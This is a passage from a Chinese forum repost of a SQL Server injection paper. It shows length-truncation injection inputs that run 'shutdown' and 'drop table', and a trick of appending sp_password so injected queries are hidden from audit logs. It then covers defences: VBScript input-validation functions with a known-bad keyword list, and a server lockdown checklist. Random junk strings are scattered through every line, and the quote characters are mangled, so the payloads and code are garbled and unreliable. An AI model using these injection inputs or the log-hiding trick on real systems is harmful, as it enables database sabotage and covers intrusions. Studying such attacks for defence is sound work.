这样只用12个输入字符就将停止SQL SERVER实例。另一个例子是： / T* a" ], w) X2 [/ T( F+ T
drop table <tablename> 5 v! }& M+ C# K  A% Q7 r
如果限定长度是在过滤字符串后应用将会引发另一个问题。假设用户名被限定16个字符，密码也被限定16个字符，那么下面的用户名和密码结合将会执行上面提到的shutdown命令：
Username：aaaaaaaaaaaaaaa';';   O6 M" D% P/ t, P' J
Password：';';; shutdown— 9 x# _4 m. i# k3 o
原因是应用程序尝试去过滤用户名最后的单引号，但是字符串被切断成16个字符，删除了过滤后的一个单引号。这样的结果就是如果密码字段以单引号开始，它可以包含一些SQL语句。既然这样查询看上去是：
select * from users where username=';';aaaaaaaaaaaaaaa';';';'; and password=';';';';';';;shutdown— ) ?. |! ]2 o) n" M: W0 h
实际上，查询中的用户名已经变为：
aaaaaaaaaaaaaaa';'; and password=';';
因此最后的SQL语句会被执行。
[审计] ' m6 P4 ?  c0 J
SQL SERVER包含了丰富的允许记录数据库中的各种事件的审计接口，它包含在sp_traceXXX类的函数中。特别有意思的是能够记录所有SQL语句，然后在服务器上执行的T-SQL的事件。如果这种审计是被激活的，我们讨论的所有注入的SQL查询都将被记录在数据库中，一个熟练的数据库管理员将能够知道发生了什么事。不幸地，如果攻击者追加以下字符串： 4 y8 i' }0 o& M/ _( b
Sp_password
到一个Transact-SQL语句中，这个审计机制记录日志如下：
--';';sp_password';'; was found in the text of this event.
-- The text has been replaced with this comment for security reasons. - @9 m& `8 J! h. c7 @( K4 y
这种行为发生在所有的T-SQL日记记录中，即使';';sp_password';';发生在一个注释中。这个过程打算通过sp_password隐藏用户的密码，但这对于一个攻击者来说是非常有用的方法。
因此，为了隐藏所有注入，攻击者需要简单地在';';—';';注释字符后追加sp_password，例如：
Username：admin';';—sp_password * I, b. @! f9 i: H
事实上一些被执行的SQL将被记录，但是查询本身将顺利地从日志中消失。
[防范]
这部分讨论针对记述的攻击的一些防范。我们将讨论输入确认和提供一些简单的代码，然后我们将从事SQL SERVER锁定。 ( p6 h3 n' T. j. L
[输入验证] - p, u9 f0 C9 i) c- l: ^( W8 ?
输入验证是一个复杂的题目。比较有代表性的是，自从过于严密地确认倾向于引起部分应用程序的暂停，输入确认问题很难被解决，在项目开发中投入很少的注意力在输入确认上。输入确认不是倾向于将它加入到应用程序的功能当中，因此它一般会被忽视。 8 A; h+ i  C3 f* |; j3 G( \5 q
下面是一个含有简单代码的讨论输入确认的大纲。这个简单的代码不能直接用于应用程序中，但是它十分清晰地阐明了不同的策略。
不同的数据确认方法可以按以下分类：
1）努力修改数据使它成为正确的 - E3 p, z. Y7 w6 T2 v6 c  z
2）拒绝被认为是错误的输入
3）只接收被认为是正确的输入
第一种情况有一些概念上的问题；首先，开发人员没必要知道那些是错误数据，因为新的错误数据的形式始终被发现。其次，修改数据会引起上面描述过的数据的长度问题。最后，二次使用的问题包括系统中已经存在数据的重新使用。 * k% v( F3 _+ h3 D
第二种情况也存在第一种情况中的问题；已知的错误输入随着攻击技术的发展变化。 ! s9 l0 ~& Z0 p6 ?8 |/ }& t
第三种情况可能是三种中最好的，但是很难实现。 % E9 j' N4 @1 ]* D
从安全角度看合并第二种方法和第三种方法可能是最好的方法——只允许正确的输入，然后搜索输入中已知的错误数据。 ( u) H6 a& z: E+ g% H, s
带有连接符号的姓名的问题对于体现合并两种方法的必要性是一个好的例子：
Quentin Bassington-Bassington
我们必须在正确输入中允许连接符号，但是我们也意识到字符序列';';—';';对SQL SERVER很重要。
当合并修改数据和字符序列确认时，会出现另一个问题。例如，如果我们应用一个错误过滤在除去单引号之后去探测';';—';';，';';select';';和';';union';';，攻击者可以输入： + `) C8 @; z  o+ W2 S2 o9 ~7 n
uni';';on sel';';ect @@version-';';-
既然单引号被除去，攻击者可以简单地散布单引号在自己的错误的字符串中躲避被发现。 / F" J5 O( _1 F6 C9 x6 u
这有一些确认代码的例子： % j7 [) k5 O3 v9 \6 g( Y# ^
方法一——过滤单引号 ; m: q0 m4 m4 F
function escape(input) $ ~% ^5 B; Y- x/ f2 U$ L) V9 _
input=replace(input,"';';","';';';';") 9 k, f: `, [  Z' |6 \# e
escape=input
end function , B8 x- ~1 K6 O9 ]+ W( n; `1 y
方法二——拒绝已知的错误输入 # r6 l$ D0 a$ t. B
function validate_string(input) 5 e( g- i9 X  w" j+ o
known_bad=array("select","insert","update","delete","drop","—","';';") ( R4 y& ~) B% O) h! r6 y9 ^
validate_string=true
for i=lbound(known_bad) to ubound(known_bad) 3 m& z! T. l$ `, N$ V
if(instr(1,input,known_bad(i),vbtextcompare)<>0) then
validate_string=false + B5 C! ~/ c% R% R. k* v9 @% r- G( B% y! y
exit function
end if 9 b6 L% V/ ?: a' v6 d! L; `
next 2 X2 Z) P$ a, Y3 R8 D% n/ {% Q
end function . {8 I8 Q2 L: K& L1 u, ~
方法三——只允许正确的输入
function validatepassword(input)   h: N+ q7 e5 r' l8 B" h
good_password_chars=” abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789”
validatepassword=true + }) r5 K$ ]3 E  w1 D
for i=1 to len(input)
c=mid(input,I,1)
if(InStr(good_password_chars,c)=0) then - i; _+ x- ^/ O) g1 A# p' k
validatepassword=false 7 G$ s4 b  I- ~9 n; F
exit function 6 V5 A3 {3 o. k3 b% x+ N+ n: [
end if
next 8 r1 V! E# _" c3 U2 \( j/ R( ]; Q% n
end function
[SQL SERVER锁定]
在这指出的重要一点是锁定SQL SERVER是必要的；外面的是不安全的。这是一个但创建SQL SERVER时需要做的事情的简短的列表： : |' C4 M2 p- m, T% e
1.确定连接服务器的方法 ! q2 ?0 j0 H$ O) M3 J5 ~; d" q
a.确定你所使用的网络库是可用的，那么使用"Network Utility" ! t  E. M) k9 Q6 n! w0 R* U
2.确定哪些帐户是存在的
a.为应用程序的使用创建一个低权限的帐户 1 l' h! d9 k9 {! R
b.删除不必要的帐户 * H  [. I' c! y% ^7 d- l" M( C
c.确定所有帐户有强壮的密码；执行密码审计 2 E: x+ n/ {" E( X% t' w* h
3.确定哪些对象存在
a.许多扩展存储过程能被安全地移除。如果这样做了，应该移除包含在扩展存储过程代码中的';';.dll';';文件
b.移除所有示例数据库——例如';';northwind';';和';';pubs';';数据库
4.确定哪写帐户能过使用哪些对象 - l; `' q& k* O8 A: j* i
a.应用程序进入数据库所使用的帐户应该有保证能够使用它需要的对象的最小权限 : ]% W$ l  i6 Y0 Z2 a' H7 i2 N
5.确定服务器的补丁
a.针对SQL SERVER有一些缓冲区溢出和格式化字符串攻击，也有一些其他的安全补丁发布。应该存在很多。
6.确定什么应该被日志记录，什么应该在日志中结束。 * Y1 E* [5 x7 v- U

收藏分享评分

几年的54生涯，改变了我的互联网的看法。(*^__^*) 嘻嘻……
关注我吧。
最近忙于战术策略布置，互联网是个高潮期。

回复引用

订阅 TOP

天涯风云